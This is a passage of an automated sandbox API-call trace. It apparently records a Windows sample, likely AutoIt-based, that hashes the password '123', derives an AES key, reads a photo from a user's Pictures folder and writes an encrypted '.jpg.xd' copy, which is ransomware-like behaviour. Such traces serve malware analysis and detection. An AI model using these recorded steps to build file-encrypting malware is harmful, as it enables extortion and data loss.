returned 0 [0062.737] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.737] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.737] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.737] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.737] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.737] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0062.737] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.737] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.737] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.737] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.737] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.737] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.737] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.737] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.737] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.737] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.738] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.738] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.738] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.738] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.738] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.738] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.738] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.739] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.739] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0062.739] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0062.739] CryptCreateHash (in: hProv=0x17aa2b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0062.739] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.739] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.739] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.739] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.739] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629470, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.739] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0062.739] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.740] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.740] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.740] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.740] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0062.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0062.741] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0062.741] CryptHashData (hHash=0x164c330, pbData=0x1629380, dwDataLen=0x3, dwFlags=0x1) returned 1 [0062.741] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.741] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.741] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.741] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.741] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.741] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.741] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.741] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0062.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0062.741] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0062.741] CryptDeriveKey (in: hProv=0x17aa2b8, Algid=0x6610, hBaseData=0x164c330, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c8b0) returned 1 [0062.742] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.742] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.742] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.742] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.742] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.742] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.742] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0062.742] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0062.742] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0062.742] CryptDestroyHash (hHash=0x164c330) returned 1 [0062.742] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.742] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.742] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.742] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.742] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.742] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\sbj3cradn.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0062.743] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.743] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0062.743] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.743] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.743] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.743] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm")) returned 0x10 [0062.743] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\J4pDjIZM\\SbJ3cRadN.jpg.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\j4pdjizm\\sbj3cradn.jpg.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0062.744] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.744] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.744] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.744] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.745] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0062.746] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xfa0f, lpOverlapped=0x0) returned 1 [0062.747] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0062.750] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.750] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.750] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.750] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0062.751] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.751] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.751] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0062.751] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.751] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0062.751] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.751] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.751] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.752] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0062.752] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0062.752] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0062.752] CryptGetKeyParam (in: hKey=0x164c8b0, dwParam=0x7, pbData=0x1629510, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629510*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0062.752] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.752] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.752] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.752] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.752] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.752] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.752] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.752] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.752] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.753] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.753] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.753] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.753] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.753] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.753] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.753] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.753] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.753] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.753] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.753] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.754] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621678, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.755] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.755] CryptEncrypt (in: hKey=0x164c8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xfa0f, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xfa10) returned 1 [0062.755] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.755] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.755] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.755] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.755] CharLowerBuffW (in: lpsz="byte[64017]", cchLength=0xb | out: lpsz="byte[64017]") returned 0xb [0062.755] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.756] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.756] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.756] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 